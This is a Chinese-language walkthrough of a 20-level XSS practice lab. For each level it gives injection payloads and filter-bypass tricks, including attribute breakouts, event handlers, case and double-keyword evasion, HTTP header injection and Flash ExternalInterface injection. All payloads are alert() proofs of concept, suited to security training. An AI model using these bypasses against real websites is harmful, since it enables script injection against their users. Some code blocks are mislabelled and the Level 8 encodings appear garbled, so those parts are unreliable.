XSS挑战之旅
- XSS测试思路
- Level1
- Level2
- Level3
- Level4
- Level5
- Level6
- Level7
- Level8
- Level9
- Level10
- Level11
- Level12
- Level13
- Level14
- Level15
- Level16
- Level17
- Level18
- Level19
- Level20
XSS测试思路
- 确定输入输出点:
寻找URL
参数、表单输入、HTTP头(Referer/UA/Cookie)
、隐藏参数等注入点。- 观察过滤规则: 检查是否过滤尖括号、引号、关键字(如
script
、on
事件)、空格等。
绕过策略:
- 闭合标签:如
><payload>
闭合原有标签。- 事件触发:利用
onmouseover
、onclick
等事件。- 编码绕过:
URL
编码(%0A
换行)、HTML
实体、十六进制编码。- 特殊字符替代:用换行符
%0A
代替空格,双写关键字绕过过滤。- 协议利用:
javascript
:伪协议
Level1
来到关卡
我们发现URL
存在?name
参数
且参数值回显在网页上
故尝试操控URL
构造test<
发现网站没有对参数进行恶意字符过滤
尝试构造payload
sql
<script>alert(1)</script>
成功弹窗
Level2
可以看到这一关输入点在搜索框
审查元素得知输入的内容在<input>
标签的value
属性中
故构造payload
时要闭合value
的双引号
sql
"><script>alert(1)</script>

Level3
本关卡输入值被包裹在单引号'
内
且<、>
被转义
故需通过单引号闭合的同时
利用标签原有属性(如onmouseover)
注入事件绕过尖括号的过滤
构造' onmouseover=alert(1)//
(注:换行符可以绕过闭合)
鼠标悬停输入框时触发弹窗
Level4
本关与Level3
类似
但闭合符号变为双引号"
且尖括号被过滤。
故需通过双引号闭合并利用事件属性绕过
构造" onmouseover=alert(1)//
Level5
本关<script>
和on
事件关键字被过滤
故需使用非脚本标签(如<a>
)的href
属性结合javascript:伪协议
利用漏洞
构造"><a href='javascript:alert(1)'>点击触发</a>
这里闭合双引号后插入<a>
标签
点击链接触发弹窗
Level6
该关卡对script、href
等关键词进行过滤
但发现未处理大小写混合情况。
故通过将标签属性或事件名改为大写绕过过滤
构造payload
sql
"><Script>alert(1)</script>

构造payload2
sql
"><Img Src=x OnError=alert(1)>

构造payload3
sql
"><a Href=javascript:alert(1)>click</a>
Level7
本关卡对关键词进行删除处理(如script
会被删除)
故需通过双写关键词绕过
例如scscriptript
会被过滤为script
构造payload1
构造payload2
sql
" oonnclick=alert(1)//(双写on为oonn,提交完点击输入框后即可弹窗,`//`这个符号不能省略)

Level8
该关卡对javascript
:协议进行严格过滤
故我们需通过HTML
实体编码或Unicode
绕过
因为浏览器会自动解码HTML
实体或Unicode
字符,最终执行原始代码。
构造payload1
sql
javascript:alert(1)(`t`的十六进制编码,点击链接弹窗)

构造payload2
使用Unicode
编码:
sql
javascript:alert(1)

Level9
该关卡要求输入内容包含http://
,否则不执行
故我们需在JavaScript
伪协议后添加注释或合法URL
由于校验仅检查是否存在http://
,注释部分不影响代码执行。
故构造payload
sql
javascript:alert(1)//http://(编码+注释)

Level10
本关没有输入框
猜测该关卡通过隐藏参数t_sort
注入
故我们需闭合value
属性并插入事件
原理是闭合value
的引号后
通过type="text"
将隐藏输入框变为可见
并绑定事件触发弹窗
构造payload1
sql
?keyword=test&t_sort=" type="text" onclick="alert(1)
点击输入框即可弹窗
构造payload2
sql
?keyword=test&t_sort=" onmouseover=alert(1) type="text"(鼠标悬停触发弹窗)

构造payload3
sql
?t_sort=8888" type="text" onfocus="alert(1)

Level11
本关卡依然没有输入框
猜测页面隐藏的<input>
标签中,t_ref
参数从HTTP头的Referer
获取值
故需通过修改Referer
头闭合标签并插入事件触发XSS
这里使用BP
拦截请求
目的闭合value
属性并添加事件
修改Referer
头为:
sql
Referer: " onmouseover="alert(1)" type="text"


Level12
类似Level11
但注入点为User-Agent
头,对应隐藏参数t_ua
本关需构造User-Agent
值闭合标签并插入事件
故修改User-Agent
头为:
sql
User-Agent: " onclick="alert(1)" type="text (点击输入框触发弹窗)
Level13
本关注入点位于Cookie
中的user
参数
故需修改Cookie
值闭合标签并添加事件
bp
抓包修改Cookie
值为:
sql
Cookie: user=" onclick="alert(1)" type="text (点击输入框触发弹窗)
Level14
本关由于网络原因链接打不开了
故给出思路
页面通过<iframe>
加载外部图片查看器
理论上需利用图片EXIF
信息注入XSS
即需上传包含恶意脚本的图片,利用解析EXIF
的漏洞触发XSS
- 使用工具(如
exiftool
)修改图片EXIF
注释:
sql
exiftool -Comment='<img src=1 onerror=alert(1)>' image.jpg
- 上传图片并让页面解析。
Level15
本关只有一张图
由于本关页面使用AngularJS
的ng-include
动态包含文件
即可以通过src
参数引用外部文件
则我们利用ng-include
包含存在漏洞的Level1
页面
并传递XSS Payload
构造URL
参数
sql
http://靶场地址/level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'

Level16
该关卡过滤了空格和script
关键字
但未过滤尖括号
由于HTML
中换行符%0a
或%0d
可替代空格,可以用于拼接事件属性。
故构造payload
sql
<img%0dsrc=a%0donerror=alert(1)>

Level17
本关输入点主要位于URL
参数中
具体为arg01
和arg02
且网页将用户输入的arg01
和arg02
参数直接拼接在<embed>
标签的src
属性中例如:
sql
<embed src="xsf01.swf?arg01=value1&arg02=value2" ...>
而过滤机制方面网页对<、>
和空格
进行了过滤
但保留了on
关键字
故构造payload
sql
arg01=a&arg02=%20onmouseover=alert`1`(这里临时更换浏览器是因为火狐不兼容flash事件触发)

Level18
本关payload
同level17
sql
arg01=a&arg02=%20onmouseover=alert`1`

Level19
本关是Flash XSS
漏洞
故需要利用Flash
文件(.swf
)的参数处理缺陷
通过分析反编译后的Flash
代码(如使用JPEXS
工具)
发现arg01=version
时,arg02
的值会被拼接到Flash
的链接逻辑中
而虽然参数通过htmlspecialchars
实体化处理
但Flash
内部未对href
属性内容充分过滤
且允许通过javascript
:协议执行代码
故可以构造payload
构造关键:
arg01
需设置为version
触发Flash
中特定逻辑
arg02
需构造包含恶意代码的HTML
标签通过
<a>
标签的href
属性注入javascript
:协议代码
得到:
sql
?arg01=version&arg02=<a href="javascript:alert(1)">xss</a>

Level20
本关通过<embed>
标签加载xsf04.swf
文件(实际为zeroclipboard.swf
的漏洞版本)
而存在核心漏洞是Flash
代码未对参数进行严格过滤
导致通过URL
参数注入恶意代码
故反编译zeroclipboard.swf
后分析源码
sql
public class ZeroClipboard extends Sprite
{
private var button:Sprite;
private var id:String = "";
private var clipText:String = "";
public function ZeroClipboard()
{
super();
stage.scaleMode = StageScaleMode.EXACT_FIT;
Security.allowDomain("*");
var flashvars:Object = LoaderInfo(this.root.loaderInfo).parameters;
id = flashvars.id;
button = new Sprite();
button.buttonMode = true;
button.useHandCursor = true;
button.graphics.beginFill(13434624);
button.graphics.drawRect(0,0,Math.floor(flashvars.width),Math.floor(flashvars.height));
button.alpha = 0;
addChild(button);
button.addEventListener(MouseEvent.CLICK,clickHandler);
button.addEventListener(MouseEvent.MOUSE_OVER,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOver",null);
});
button.addEventListener(MouseEvent.MOUSE_OUT,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOut",null);
});
button.addEventListener(MouseEvent.MOUSE_DOWN,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseDown",null);
});
button.addEventListener(MouseEvent.MOUSE_UP,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseUp",null);
});
ExternalInterface.addCallback("setHandCursor",setHandCursor);
ExternalInterface.addCallback("setText",setText);
ExternalInterface.call("ZeroClipboard.dispatch",id,"load",null);
}
public function setHandCursor(param1:Boolean) : *
{
button.useHandCursor = param1;
}
private function clickHandler(param1:Event) : void
{
System.setClipboard(clipText);
ExternalInterface.call("ZeroClipboard.dispatch",id,"complete",clipText);
}
public function setText(param1:*) : *
{
clipText = param1;
}
}
}
可以看到Flash
通过LoaderInfo
从URL
参数arg01
和arg02
中读取值
关键漏洞函数为ExternalInterface.call
用于与JavaScript
交互。
故需构造参数闭合arg02
原有逻辑并插入恶意代码。
得到:
sql
?arg01=id&arg02=xss\"))}catch(e){alert(/xss/)}//%26width%26height

免责声明:
本文章内容仅为个人见解与实践记录,旨在分享网络安全知识。文中观点、工具、技巧等,均不构成专业建议。读者需自行判断其适用性,并对任何因采纳本文章内容而引发的行为及结果承担全部责任。作者不对任何形式的损失负责。请务必谨慎操作,必要时咨询专业人士。